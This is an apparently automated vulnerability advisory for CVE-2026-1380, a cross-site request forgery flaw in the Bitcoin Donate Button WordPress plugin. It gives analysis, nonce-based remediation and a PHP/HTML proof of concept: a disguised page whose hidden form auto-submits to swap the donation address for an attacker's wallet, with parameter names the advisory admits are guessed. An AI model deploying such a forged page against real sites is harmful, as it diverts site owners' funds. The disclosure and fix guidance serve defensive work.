Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1380: Bitcoin Donate Button <= 1.0 – Cross-Site Request Forgery to Settings Update (bitcoin-donate-button)

CVE ID CVE-2026-1380
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.0
Patched Version
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1380 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Bitcoin Donate Button WordPress plugin version 1.0. The vulnerability exists in the plugin’s settings update functionality, allowing unauthenticated attackers to change plugin configuration via a forged request. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction (UI:R) and the limited impact on integrity (I:L).

Atomic Edge research indicates the root cause is missing or incorrect nonce validation on the plugin’s settings page handler. In WordPress, nonces (number used once) are tokens used to verify the origin and intent of requests, particularly for state-changing operations. The vulnerability description confirms the absence of this security check. This conclusion is inferred from the CWE-352 classification and the standard WordPress security model for admin settings pages, as no source code diff is available for confirmation.

Exploitation requires an attacker to trick an administrator with the `manage_options` capability into clicking a malicious link or loading a crafted page. The attack vector is a forged HTTP POST request to the plugin’s settings update endpoint. Based on WordPress plugin conventions, the likely endpoint is `/wp-admin/admin.php?page=bitcoin-donate-button` or a similar admin menu callback. The payload would contain POST parameters like `bitcoin_address`, `button_text`, or `color_scheme` to overwrite the legitimate donation settings. A successful attack redirects the victim’s Bitcoin donations to an attacker-controlled wallet.

Remediation requires adding proper nonce verification to the settings form and its processing logic. The fix must generate a nonce via `wp_nonce_field()` in the settings form HTML and validate it with `wp_verify_nonce()` or `check_admin_referer()` in the form handler before processing updates. This standard WordPress pattern ensures the request originates from the intended user session. The plugin should also maintain capability checks (`current_user_can(‘manage_options’)`) to complement the CSRF protection.

The impact is unauthorized modification of the plugin’s configuration. Attackers can change the Bitcoin donation address, diverting funds intended for the site owner. They can also alter display settings like button text or colors, potentially damaging site credibility or facilitating further social engineering attacks. The vulnerability does not directly lead to code execution, privilege escalation, or data exposure outside the plugin’s settings.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1380 - Bitcoin Donate Button <= 1.0 - Cross-Site Request Forgery to Settings Update
<?php
/**
 * Proof of Concept for CVE-2026-1380.
 * This script generates an HTML page containing a forged CSRF form.
 * When a logged-in WordPress administrator visits this page, the form auto-submits,
 * changing the plugin's Bitcoin donation address to an attacker-controlled address.
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin uses a standard admin menu page (e.g., 'bitcoin-donate-button').
 * 2. The settings form submits via POST to the same admin page URL.
 * 3. The form contains a field named 'bitcoin_address' or similar.
 * These assumptions are inferred from the vulnerability description and common practices.
 */

$target_url = 'https://vulnerable-site.example.com/wp-admin/admin.php?page=bitcoin-donate-button';
$malicious_address = '1AttackerBTCAddressABCDEFGHIJKLMNOP';
?>
<!DOCTYPE html>
<html>
<head>
    <title>Benign Page</title>
</head>
<body>
    <h1>Loading...</h1>
    <form id="csrf_form" method="POST" action="<?php echo htmlspecialchars($target_url); ?>">
        <!-- Assumed parameter name based on plugin functionality -->
        <input type="hidden" name="bitcoin_address" value="<?php echo htmlspecialchars($malicious_address); ?>">
        <!-- Other potential settings parameters an attacker might want to modify -->
        <input type="hidden" name="button_text" value="Donate Now">
        <input type="hidden" name="color_scheme" value="orange">
        <!-- The plugin likely expects a save action or settings submission parameter -->
        <input type="hidden" name="submit" value="Save Settings">
    </form>
    <script>
        // Auto-submit the form when the page loads
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School